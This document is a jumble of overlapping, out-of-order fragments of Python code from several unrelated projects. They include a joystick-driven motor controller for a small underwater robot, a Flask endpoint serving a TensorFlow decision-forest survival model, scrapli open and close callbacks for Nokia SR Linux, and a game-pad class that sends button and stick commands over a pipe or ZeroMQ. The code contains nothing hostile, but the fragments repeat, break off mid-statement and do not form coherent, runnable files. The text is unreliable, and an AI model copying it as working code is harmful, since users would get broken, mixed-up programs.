"print datalist for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a,",
"joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:])) old",
"= yRight global trimUp motor_up = trimUp['center'] + vertical def bounds(x): # max",
"(up) # motor_a = yLeft motor_b = yRight global trimUp motor_up = trimUp['center']",
"power is -100 to 100 if x < -50: return -50 if x",
"1 elif button == 'RB': trimUp['center'] -= 1 def process(data): joysticks = json.loads(data)",
"'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False }, { 'A':",
"* joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight",
"# spin right vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1: #",
"#xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft']",
"50 return round(x, 2) motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up)",
"i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up) print()",
"{ 'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False",
"1 and not jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k] = True elif",
"1) / 2 vertical = 0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >=",
"buttonPressed(button, num): global trimUp # num is 0 or 1 if num ==",
"{ 'center': 0.0 } # these are in a row # this motor",
"* 50 if joystick2['triggerLeft'] > 0.1: # spin left vertical = -joystick2['triggerLeft'] *",
"'triggerRight'] buttons = ['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp = { 'center':",
"= -joystick2['triggerLeft'] * 50 # Mini-ROV motor setup # top view # ____",
"= 50 * joystick2['yLeft'] #xLeft = 50 * joystick2['xLeft'] yRight = 50 *",
"-50: return -50 if x > 50: return 50 return round(x, 2) motor_a",
"in stick: if k not in buttons: continue v = stick[k] if v",
"# do nothing cause both are pressed else: if joystick2['triggerRight'] > 0.1: #",
"= bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for i in",
"['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp = { 'center': 0.0 } #",
"#!/usr/bin/env python3.4 import webSocketClient import motorInterface import json axis = ['xLeft', 'yLeft', 'triggerLeft',",
"* joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) /",
"== 'LB': trimUp['center'] += 1 elif button == 'RB': trimUp['center'] -= 1 def",
"* joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight']",
"json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B',",
"if joystick2['triggerLeft'] > 0.1: # spin left vertical = -joystick2['triggerLeft'] * 50 #",
"bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for i in range(30):",
"= (joystick2['triggerLeft'] + 1) / 2 vertical = 0 if joystick2['triggerRight'] >= 0.1",
"joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2",
"joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2 vertical = 0 if joystick2['triggerRight'] >=",
"(maybe right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow):",
"dict(zip(axis + buttons, joysticks[12:])) old = [] # for debugging #print('msg:', joysticks) del",
"False, 'Y': False, 'LB': False, 'RB': False } ] def buttonPressed(button, num): global",
"buttons = ['A', 'B', 'X', 'Y', 'LB', 'RB'] trimUp = { 'center': 0.0",
">= 0.1 and joystick2['triggerLeft'] >= 0.1: pass # do nothing cause both are",
"/ 2 vertical = 0 if joystick2['triggerRight'] >= 0.1 and joystick2['triggerLeft'] >= 0.1:",
"____ # | | # /a\\| |/b\\ # |____| # (up) # motor_a",
"move2(pow): m2.set(pow) def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed = [ { 'A':",
"2nd chip m3 = motorInterface.motor(27, 23) # side (maybe left) m4 = motorInterface.motor(4,",
"= json.loads(data) assert len(joysticks) == 24 joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2",
"= 50 * joystick2['yRight'] #xRight = 50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] +",
"'LB': trimUp['center'] += 1 elif button == 'RB': trimUp['center'] -= 1 def process(data):",
"num == 1: # controller number 2 if button == 'LB': trimUp['center'] +=",
"global trimUp motor_up = trimUp['center'] + vertical def bounds(x): # max power is",
"# unused # 2nd chip m3 = motorInterface.motor(27, 23) # side (maybe left)",
"+ vertical def bounds(x): # max power is -100 to 100 if x",
"is -100 to 100 if x < -50: return -50 if x >",
"# spin left vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV motor setup #",
"trimUp['center'] += 1 elif button == 'RB': trimUp['center'] -= 1 def process(data): joysticks",
"* joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] +",
"joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1: # spin left vertical = -joystick2['triggerLeft']",
"stick, jPressed in zip((joystick1, joystick2), justPressed): for k in stick: if k not",
"False }, { 'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False,",
"18) # side (maybe right) def move1(pow): m1.set(pow) def move2(pow): m2.set(pow) def move3(pow):",
"False, 'LB': False, 'RB': False } ] def buttonPressed(button, num): global trimUp #",
"jPressed[k] = False elif v not in [1, 0]: raise ValueError('Got {0}, expected",
"* 50 # Mini-ROV motor setup # top view # ____ # |",
"joystick2['triggerLeft'] > 0.1: # spin left vertical = -joystick2['triggerLeft'] * 50 # Mini-ROV",
"23) # side (maybe left) m4 = motorInterface.motor(4, 18) # side (maybe right)",
"# side (maybe left) m4 = motorInterface.motor(4, 18) # side (maybe right) def",
"= yLeft motor_b = yRight global trimUp motor_up = trimUp['center'] + vertical def",
"stick: if k not in buttons: continue v = stick[k] if v ==",
"'Y': False, 'LB': False, 'RB': False }, { 'A': False, 'B': False, 'X':",
"max power is -100 to 100 if x < -50: return -50 if",
"-100 to 100 if x < -50: return -50 if x > 50:",
"for debugging #print('msg:', joysticks) del data global justPressed stickNum = 0 for stick,",
"False, 'X': False, 'Y': False, 'LB': False, 'RB': False }, { 'A': False,",
"'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False } ] def",
"2) motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up)",
"index = 0 for i in old: print(index, i) index += 1 webSocketClient.start('miniROV',",
"webSocketClient import motorInterface import json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight']",
"#xLeft = 50 * joystick2['xLeft'] yRight = 50 * joystick2['yRight'] #xRight = 50",
"0 and jPressed[k]: # just released jPressed[k] = False elif v not in",
"'center': 0.0 } # these are in a row # this motor is",
"-= 1 def process(data): joysticks = json.loads(data) assert len(joysticks) == 24 joystick1 =",
"> 0.1: # spin right vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] >",
"for i in range(30): print('\\r\\033[A\\033[K', end='') print('Trim: {0}'.format(trimUp['center'])) print(joystick1) print(joystick2) print(motor_a, motor_b) print(motor_up)",
"for k in stick: if k not in buttons: continue v = stick[k]",
"right move1(motor_up) move4(motor_a) move3(motor_b) # print datalist for i in range(30): print('\\r\\033[A\\033[K', end='')",
"python3.4 import webSocketClient import motorInterface import json axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight',",
"global trimUp # num is 0 or 1 if num == 1: #",
"'X', 'Y', 'LB', 'RB'] trimUp = { 'center': 0.0 } # these are",
"print(joystick2) print(motor_a, motor_b) print(motor_up) print() index = 0 for i in old: print(index,",
"if x < -50: return -50 if x > 50: return 50 return",
"bounds(x): # max power is -100 to 100 if x < -50: return",
"motor_a = bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a)",
"== 24 joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons,",
"'Y', 'LB', 'RB'] trimUp = { 'center': 0.0 } # these are in",
"def buttonPressed(button, num): global trimUp # num is 0 or 1 if num",
"print(motor_a, motor_b) print(motor_up) print() index = 0 for i in old: print(index, i)",
"0.1: # spin right vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1:",
"motor_b = bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) # print",
"pressed buttonPressed(k, stickNum) jPressed[k] = True elif v == 0 and jPressed[k]: #",
"justPressed): for k in stick: if k not in buttons: continue v =",
"left) m4 = motorInterface.motor(4, 18) # side (maybe right) def move1(pow): m1.set(pow) def",
"buttons, joysticks[:12])) joystick2 = dict(zip(axis + buttons, joysticks[12:])) old = [] # for",
"False, 'RB': False }, { 'A': False, 'B': False, 'X': False, 'Y': False,",
"len(joysticks) == 24 joystick1 = dict(zip(axis + buttons, joysticks[:12])) joystick2 = dict(zip(axis +",
"buttonPressed(k, stickNum) jPressed[k] = True elif v == 0 and jPressed[k]: # just",
"ValueError('Got {0}, expected 0 or 1'.format(v)) else: pass stickNum += 1 del stickNum",
"0]: raise ValueError('Got {0}, expected 0 or 1'.format(v)) else: pass stickNum += 1",
"m4.set(pow) justPressed = [ { 'A': False, 'B': False, 'X': False, 'Y': False,",
"vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1: # spin left vertical",
"spin right vertical = joystick2['triggerRight'] * 50 if joystick2['triggerLeft'] > 0.1: # spin",
"number 2 if button == 'LB': trimUp['center'] += 1 elif button == 'RB':",
"m4 = motorInterface.motor(4, 18) # side (maybe right) def move1(pow): m1.set(pow) def move2(pow):",
"for stick, jPressed in zip((joystick1, joystick2), justPressed): for k in stick: if k",
"'RB': False }, { 'A': False, 'B': False, 'X': False, 'Y': False, 'LB':",
"jPressed[k]: # just released jPressed[k] = False elif v not in [1, 0]:",
"'RB': False } ] def buttonPressed(button, num): global trimUp # num is 0",
"# for debugging #print('msg:', joysticks) del data global justPressed stickNum = 0 for",
"/ 2 joystick2['triggerLeft'] = (joystick2['triggerLeft'] + 1) / 2 vertical = 0 if",
"bounds(motor_a) motor_b = bounds(motor_b) motor_up = bounds(motor_up) # right move1(motor_up) move4(motor_a) move3(motor_b) #",
"axis = ['xLeft', 'yLeft', 'triggerLeft', 'xRight', 'yRight', 'triggerRight'] buttons = ['A', 'B', 'X',",
"zip((joystick1, joystick2), justPressed): for k in stick: if k not in buttons: continue",
"== 1 and not jPressed[k]: # just pressed buttonPressed(k, stickNum) jPressed[k] = True",
"} ] def buttonPressed(button, num): global trimUp # num is 0 or 1",
"50 * joystick2['xRight'] joystick2['triggerRight'] = (joystick2['triggerRight'] + 1) / 2 joystick2['triggerLeft'] = (joystick2['triggerLeft']",
"motorInterface.motor(16, 26) # vertical m2 = motorInterface.motor(12, 13) # unused # 2nd chip",
"continue v = stick[k] if v == 1 and not jPressed[k]: # just",
"0.0 } # these are in a row # this motor is IN3/4",
"'A': False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False }",
"is 0 or 1 if num == 1: # controller number 2 if",
"False, 'B': False, 'X': False, 'Y': False, 'LB': False, 'RB': False }, {",
"= 0 for i in old: print(index, i) index += 1 webSocketClient.start('miniROV', process,",
"v == 0 and jPressed[k]: # just released jPressed[k] = False elif v",
"move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed = [ { 'A': False, 'B': False,",
"v not in [1, 0]: raise ValueError('Got {0}, expected 0 or 1'.format(v)) else:",
"# | | # /a\\| |/b\\ # |____| # (up) # motor_a =",
"# this motor is IN3/4 on the edge of the motor controller m1",
"def move3(pow): m3.set(pow) def move4(pow): m4.set(pow) justPressed = [ { 'A': False, 'B':"
] |
[
"flask import Flask from flask import jsonify from flask import request from tensorflow",
"def predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return",
"= tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in predictions.flatten()]}) if",
"import jsonify from flask import request from tensorflow import keras app = Flask(__name__)",
"model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data,",
"methods=[\"POST\"]) def predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df)",
"request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in",
"predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i)",
"import Flask from flask import jsonify from flask import request from tensorflow import",
"as tfdf from flask import Flask from flask import jsonify from flask import",
"from flask import jsonify from flask import request from tensorflow import keras app",
"as pd import tensorflow_decision_forests as tfdf from flask import Flask from flask import",
"index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data =",
"= model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json df",
"data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for",
"import request from tensorflow import keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\",",
"tensorflow_decision_forests as tfdf from flask import Flask from flask import jsonify from flask",
"model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in predictions.flatten()]}) if __name__ == \"__main__\": app.run(port=8080)",
"app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json",
"df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in predictions.flatten()]})",
"prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json",
"model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json df =",
"@app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df)",
"return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data))",
"import pandas as pd import tensorflow_decision_forests as tfdf from flask import Flask from",
"keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data =",
"= Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json df",
"= model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in predictions.flatten()]}) if __name__ == \"__main__\":",
"= tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch():",
"@app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction =",
"keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction",
"tfdf from flask import Flask from flask import jsonify from flask import request",
"predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\":",
"methods=[\"POST\"]) def predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return",
"request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"])",
"= keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0]))",
"= request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for i",
"pandas as pd import tensorflow_decision_forests as tfdf from flask import Flask from flask",
"pd import tensorflow_decision_forests as tfdf from flask import Flask from flask import jsonify",
"import keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data",
"flask import request from tensorflow import keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\")",
"<filename>app.py import pandas as pd import tensorflow_decision_forests as tfdf from flask import Flask",
"from flask import Flask from flask import jsonify from flask import request from",
"from tensorflow import keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def",
"request from tensorflow import keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"])",
"df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def",
"= request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\",",
"def predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\":",
"import tensorflow_decision_forests as tfdf from flask import Flask from flask import jsonify from",
"data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])})",
"Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict(): data = request.json df =",
"Flask from flask import jsonify from flask import request from tensorflow import keras",
"jsonify from flask import request from tensorflow import keras app = Flask(__name__) model",
"predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in predictions.flatten()]}) if __name__ ==",
"flask import jsonify from flask import request from tensorflow import keras app =",
"from flask import request from tensorflow import keras app = Flask(__name__) model =",
"tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions = model.predict(df) return jsonify({\"survival_batch\": [str(i) for i in predictions.flatten()]}) if __name__",
"str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions =",
"jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data = request.json df = tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data)) predictions",
"tfdf.keras.pd_dataframe_to_tf_dataset(pd.DataFrame(data, index=[0])) prediction = model.predict(df) return jsonify({\"survival\": str(prediction.flatten()[0])}) @app.route(\"/predict_batch\", methods=[\"POST\"]) def predict_batch(): data",
"tensorflow import keras app = Flask(__name__) model = keras.models.load_model(\"gb_model\") @app.route(\"/predict\", methods=[\"POST\"]) def predict():"
] |
[
"conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine",
"conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) ->",
"conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close",
"complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close callable",
"conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn:",
"N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\")",
"def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object",
"object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\")",
"Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space",
"AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object Returns: None",
"callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) conn.channel.write(channel_input=\"logout\")",
"await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver)",
"\"\"\" nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A",
"await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default",
"None: \"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A",
"type basic\") await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\"",
"\"\"\"scrapli_community.nokia.nokia_srlinux.async_driver\"\"\" from scrapli.driver import AsyncNetworkDriver async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux",
"Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) conn.channel.write(channel_input=\"logout\") conn.channel.send_return()",
"None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment",
"\"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\") async",
"await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\") async def",
"None: \"\"\" nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver object Returns: None Raises:",
"-> None: \"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object Returns: None Raises:",
"default on_close callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await",
"\"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\"",
"Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type basic\") await",
"-> None: \"\"\" nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver object Returns: None",
"default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver object",
"Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment",
"callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await",
"on_close callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level)",
"<filename>scrapli_community/nokia/srlinux/async_driver.py \"\"\"scrapli_community.nokia.nokia_srlinux.async_driver\"\"\" from scrapli.driver import AsyncNetworkDriver async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\"",
"default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object Returns:",
"nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await",
"false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close callable Args:",
"async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable Args: conn: AsyncNetworkDriver",
"AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level) await conn.send_command(command=\"environment cli-engine type",
"def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver",
"from scrapli.driver import AsyncNetworkDriver async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open",
"async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close callable Args: conn:",
"nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\"",
"AsyncNetworkDriver async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable Args: conn:",
"on_open callable Args: conn: AsyncNetworkDriver object Returns: None Raises: N/A \"\"\" await conn.acquire_priv(desired_priv=conn.default_desired_privilege_level)",
"AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux default on_close callable Args: conn: AsyncNetworkDriver object Returns:",
"import AsyncNetworkDriver async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable Args:",
"basic\") await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux",
"cli-engine type basic\") await conn.send_command(command=\"environment complete-on-space false\") async def default_async_on_close(conn: AsyncNetworkDriver) -> None:",
"scrapli.driver import AsyncNetworkDriver async def default_async_on_open(conn: AsyncNetworkDriver) -> None: \"\"\" nokia_srlinux on_open callable"
] |
[
"\"\" def write(self, command, buffering=False): self.message += command + '\\n' if not buffering:",
"not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception: pass self.message = \"\" def flush(self):",
"y are in [0, 1], with 0.5 as neutral.\"\"\" #assert stick in Stick",
"1 self.write('SET {} {:.2f} {:.2f}'.format(stick, x, y), buffering) def reset(self): for button in",
"from input.enums import Stick, Button, Trigger from input.action_space import ControllerState import zmq import",
"reset(self): for button in Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0) for",
"1], with 0.5 as neutral.\"\"\" #assert stick in Stick #assert 0 <= x",
"self.path = path + 'georges_' + str(player_id) self.windows = port is not None",
"the fifo.\"\"\" self.pipe = None self.path = path + 'georges_' + str(player_id) self.windows",
"self.windows = port is not None self.port = port self.player_id = player_id self.message",
"buffering=False): self.message += command + '\\n' if not buffering: self.flush() def press_button(self, button,",
"Stick, Button, Trigger from input.action_space import ControllerState import zmq import os import platform",
"%s to address %s\" % (self.path, address)) self.pipe.bind(address) else: try: os.unlink(self.path) except: pass",
"0 <= x <= 1 and 0 <= y <= 1 self.write('SET {}",
"press_button(self, button, buffering=False): \"\"\"Press a button.\"\"\" #assert button in Button or button in",
"None self.port = port self.player_id = player_id self.message = \"\" self.action_space = []",
"for button in Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0) for stick",
"= [] self.previous_state = ControllerState() def connect(self): if self.windows: context = zmq.Context() with",
"ControllerState() def connect(self): if self.windows: context = zmq.Context() with open(self.path, 'w') as f:",
"self.message = \"\" def write(self, command, buffering=False): self.message += command + '\\n' if",
"0.5 as neutral.\"\"\" #assert stick in Stick #assert 0 <= x <= 1",
"= path + 'georges_' + str(player_id) self.windows = port is not None self.port",
"open(self.path, 'w', buffering=1) def unbind(self): if not self.windows: self.pipe.close() try: os.unlink(self.path) except Exception:",
"in Button: self.release_button(button) for trigger in Trigger: self.press_trigger(trigger, 0) for stick in Stick:",
"self.pipe = context.socket(zmq.PUSH) address = \"tcp://127.0.0.1:%d\" % self.port print(\"Binding pad %s to address",
"from config.loader import Default from input.enums import Stick, Button, Trigger from input.action_space import",
"None self.path = path + 'georges_' + str(player_id) self.windows = port is not",
"self.player_id = player_id self.message = \"\" self.action_space = [] self.previous_state = ControllerState() def",
"os.unlink(self.path) except Exception: pass self.message = \"\" def flush(self): if self.windows: self.pipe.send_string(self.message) else:",
